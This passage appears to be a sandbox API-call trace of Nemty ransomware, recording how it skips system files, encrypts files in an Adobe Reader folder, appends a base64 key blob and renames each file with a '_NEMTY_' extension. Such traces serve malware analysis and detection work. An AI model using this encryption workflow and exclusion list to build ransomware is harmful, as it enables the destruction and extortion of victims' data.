ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="fin.hyp", cAlternateFileName="")) returned 1 [0217.481] lstrcmpiW (lpString1="fin.hyp", lpString2=".") returned 1 [0217.481] lstrcmpiW (lpString1="fin.hyp", lpString2="..") returned 1 [0217.481] lstrcmpiW (lpString1="fin.hyp", lpString2="...") returned 1 [0217.481] lstrcmpiW (lpString1="fin.hyp", lpString2="windows") returned -1 [0217.481] lstrcmpiW (lpString1="fin.hyp", lpString2="$RECYCLE.BIN") returned 1 [0217.481] lstrcmpiW (lpString1="fin.hyp", lpString2="rsa") returned -1 [0217.481] lstrcmpiW (lpString1="fin.hyp", lpString2="NTDETECT.COM") returned -1 [0217.481] lstrcmpiW (lpString1="fin.hyp", lpString2="ntldr") returned -1 [0217.481] lstrcmpiW (lpString1="fin.hyp", lpString2="MSDOS.SYS") returned -1 [0217.481] lstrcmpiW (lpString1="fin.hyp", lpString2="IO.SYS") returned -1 [0217.481] lstrcmpiW (lpString1="fin.hyp", lpString2="boot.ini") returned 1 [0217.481] lstrcmpiW (lpString1="fin.hyp", lpString2="boot.ini") returned 1 [0217.481] lstrcmpiW (lpString1="fin.hyp", lpString2="AUTOEXEC.BAT") returned 1 [0217.481] lstrcmpiW (lpString1="fin.hyp", lpString2="ntuser.dat") returned -1 [0217.481] lstrcmpiW (lpString1="fin.hyp", lpString2="desktop.ini") returned 1 [0217.481] lstrcmpiW (lpString1="fin.hyp", lpString2="CONFIG.SYS") returned 1 [0217.481] lstrcmpiW (lpString1="fin.hyp", lpString2="RECYCLER") returned -1 [0217.481] lstrcmpiW (lpString1="fin.hyp", lpString2="BOOTSECT.BAK") returned 1 [0217.481] lstrcmpiW (lpString1="fin.hyp", lpString2="bootmgr") returned 1 [0217.481] lstrcmpiW (lpString1="fin.hyp", lpString2="programdata") returned -1 [0217.481] lstrcmpiW (lpString1="fin.hyp", lpString2="appdata") returned 1 [0217.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fin.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fin.hyp", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fin.hyp", lpUsedDefaultChar=0x0) returned 7 [0217.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fin.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fin.hyp", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fin.hyp", lpUsedDefaultChar=0x0) returned 7 [0217.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fin.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fin.hyp", cchWideChar=7, lpMultiByteStr=0x653e260, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fin.hyp", lpUsedDefaultChar=0x0) returned 7 [0217.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fin.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fin.hyp", cchWideChar=7, lpMultiByteStr=0x653e298, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fin.hyp", lpUsedDefaultChar=0x0) returned 7 [0217.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340500 [0217.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0217.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0217.482] Sleep (dwMilliseconds=0x5) [0217.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x35460590, dwHighDateTime=0x1d561e8)) [0217.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x35460590, dwHighDateTime=0x1d561e8)) [0217.493] GetLastError () returned 0x0 [0217.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0217.493] GetLastError () returned 0x0 [0217.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0217.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.493] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0217.494] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0217.494] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0217.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0217.494] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653df5c | out: pszString="kWU537lxWP0YEhA2pP7spvfa8eSkDz+LBXul6LWN9fpPn2FKOPWMXnWk6mLGB4PM\r\nOmUbJS2DK1gM9VkuN8Dubu7l7zXPUF7Si+3S/+RyE29kyqkUf0HwFf4TY7DRul01\r\nWGWi+hXTDtM/Q8nMBc8jx8MlOsEHQicLdEi1TKAT7wAYp3+l85FbH9NsbjSPZOHn\r\nIcrAhXlMeR/Q9a/KtwTxEGGpE1DVH34Zy18iwaguNrKUE6thnt8w0f3QM3+dkvSA\r\nIunoPoZnyOQ150UHRfVwlka26QMeOk6DioltkwhrPmiFeVn6l9HB3tQYMQGQfONC\r\n3R1hgD3VMz7JpBUhKe6qpQ==\r\n", pcchString=0x653df5c) returned 1 [0217.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0217.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x63405c8 [0217.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0217.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0217.494] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\fin.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\fin.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0217.495] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=26624) returned 1 [0217.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6800) returned 0x6354c48 [0217.495] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.495] ReadFile (in: hFile=0x320, lpBuffer=0x6354c48, nNumberOfBytesToRead=0x6800, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesRead=0x653e1a4*=0x6800, lpOverlapped=0x0) returned 1 [0217.498] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.498] WriteFile (in: hFile=0x320, lpBuffer=0x6354c48*, nNumberOfBytesToWrite=0x6800, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesWritten=0x653e19c*=0x6800, lpOverlapped=0x0) returned 1 [0217.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6354c48 | out: hHeap=0x4f90000) returned 1 [0217.498] SetFilePointer (in: hFile=0x320, lDistanceToMove=26624, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6800 [0217.498] WriteFile (in: hFile=0x320, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0217.499] CloseHandle (hObject=0x320) returned 1 [0217.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63440b0 [0217.499] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0217.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.499] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0217.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.499] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0217.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6344178 [0217.499] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0217.499] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.499] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\fin.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\fin.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\fin.hyp._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\fin.hyp._nemty_kgobjgd_")) returned 1 [0217.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344178 | out: hHeap=0x4f90000) returned 1 [0217.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0217.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63405c8 | out: hHeap=0x4f90000) returned 1 [0217.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0217.500] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df05d00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ffa, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="fin32.clx", cAlternateFileName="")) returned 1 [0217.500] lstrcmpiW (lpString1="fin32.clx", lpString2=".") returned 1 [0217.500] lstrcmpiW (lpString1="fin32.clx", lpString2="..") returned 1 [0217.500] lstrcmpiW (lpString1="fin32.clx", lpString2="...") returned 1 [0217.500] lstrcmpiW (lpString1="fin32.clx", lpString2="windows") returned -1 [0217.500] lstrcmpiW (lpString1="fin32.clx", lpString2="$RECYCLE.BIN") returned 1 [0217.500] lstrcmpiW (lpString1="fin32.clx", lpString2="rsa") returned -1 [0217.500] lstrcmpiW (lpString1="fin32.clx", lpString2="NTDETECT.COM") returned -1 [0217.500] lstrcmpiW (lpString1="fin32.clx", lpString2="ntldr") returned -1 [0217.500] lstrcmpiW (lpString1="fin32.clx", lpString2="MSDOS.SYS") returned -1 [0217.500] lstrcmpiW (lpString1="fin32.clx", lpString2="IO.SYS") returned -1 [0217.500] lstrcmpiW (lpString1="fin32.clx", lpString2="boot.ini") returned 1 [0217.500] lstrcmpiW (lpString1="fin32.clx", lpString2="boot.ini") returned 1 [0217.500] lstrcmpiW (lpString1="fin32.clx", lpString2="AUTOEXEC.BAT") returned 1 [0217.500] lstrcmpiW (lpString1="fin32.clx", lpString2="ntuser.dat") returned -1 [0217.500] lstrcmpiW (lpString1="fin32.clx", lpString2="desktop.ini") returned 1 [0217.500] lstrcmpiW (lpString1="fin32.clx", lpString2="CONFIG.SYS") returned 1 [0217.500] lstrcmpiW (lpString1="fin32.clx", lpString2="RECYCLER") returned -1 [0217.500] lstrcmpiW (lpString1="fin32.clx", lpString2="BOOTSECT.BAK") returned 1 [0217.500] lstrcmpiW (lpString1="fin32.clx", lpString2="bootmgr") returned 1 [0217.500] lstrcmpiW (lpString1="fin32.clx", lpString2="programdata") returned -1 [0217.500] lstrcmpiW (lpString1="fin32.clx", lpString2="appdata") returned 1 [0217.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.500] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fin32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.500] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fin32.clx", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fin32.clx", lpUsedDefaultChar=0x0) returned 9 [0217.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.501] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fin32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.501] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fin32.clx", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fin32.clx", lpUsedDefaultChar=0x0) returned 9 [0217.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.501] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fin32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.501] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fin32.clx", cchWideChar=9, lpMultiByteStr=0x653e260, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fin32.clx", lpUsedDefaultChar=0x0) returned 9 [0217.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.501] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fin32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.501] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fin32.clx", cchWideChar=9, lpMultiByteStr=0x653e298, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fin32.clx", lpUsedDefaultChar=0x0) returned 9 [0217.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0217.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0217.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352d38 [0217.501] Sleep (dwMilliseconds=0x5) [0217.509] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x354866f0, dwHighDateTime=0x1d561e8)) [0217.509] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x354866f0, dwHighDateTime=0x1d561e8)) [0217.509] GetLastError () returned 0x0 [0217.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0217.509] GetLastError () returned 0x0 [0217.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0217.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.509] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0217.509] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0217.509] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0217.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0217.509] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653df5c | out: pszString="TWUO5h1lP2MWgFdGyOhflRjrwEgW5pEXipHl0mb8PiwmCDJqirHJrSkid9tu/LTJ\r\nfC2oBzQq7Uo/xqufZiVdUWV6Nbgkn1N6W0U1TjkpJyZM4ec9JhjZlNKuwXm08aKu\r\nQxrFTJpi0QZO+x9EGJA3p66C8jNFpcxv43iblByGVbcS1gjAhB7/qCr9NZXb0f5a\r\n5O++msR+SafyKz36VmBYknt0BAY6tVlV6USmP8LSLdIGTLSOzieAmzSt6vY6Hh/E\r\ndTmmeO1jUmKgO4qszv4KquDsUQbJZJP7AZ5ST8r6iUDZM53DsfDRumZ7dcnAT2Kf\r\nsSWKa8hPlqvehck+BiZAqg==\r\n", pcchString=0x653df5c) returned 1 [0217.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0217.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0217.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0217.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0217.510] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\fin32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\fin32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0217.510] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=32762) returned 1 [0217.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x7ff0) returned 0x6354c48 [0217.510] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.510] ReadFile (in: hFile=0x320, lpBuffer=0x6354c48, nNumberOfBytesToRead=0x7ff0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesRead=0x653e1a4*=0x7ff0, lpOverlapped=0x0) returned 1 [0217.514] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.514] WriteFile (in: hFile=0x320, lpBuffer=0x6354c48*, nNumberOfBytesToWrite=0x7ff0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesWritten=0x653e19c*=0x7ff0, lpOverlapped=0x0) returned 1 [0217.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6354c48 | out: hHeap=0x4f90000) returned 1 [0217.514] SetFilePointer (in: hFile=0x320, lDistanceToMove=32762, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7ffa [0217.514] WriteFile (in: hFile=0x320, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0217.514] CloseHandle (hObject=0x320) returned 1 [0217.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352e10 [0217.514] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0217.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.514] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0217.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352ee8 [0217.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0217.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352ee8 | out: hHeap=0x4f90000) returned 1 [0217.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.515] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\fin32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\fin32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\fin32.clx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\fin32.clx._nemty_kgobjgd_")) returned 1 [0217.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0217.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352e10 | out: hHeap=0x4f90000) returned 1 [0217.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0217.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352d38 | out: hHeap=0x4f90000) returned 1 [0217.515] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df2be60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa5400, 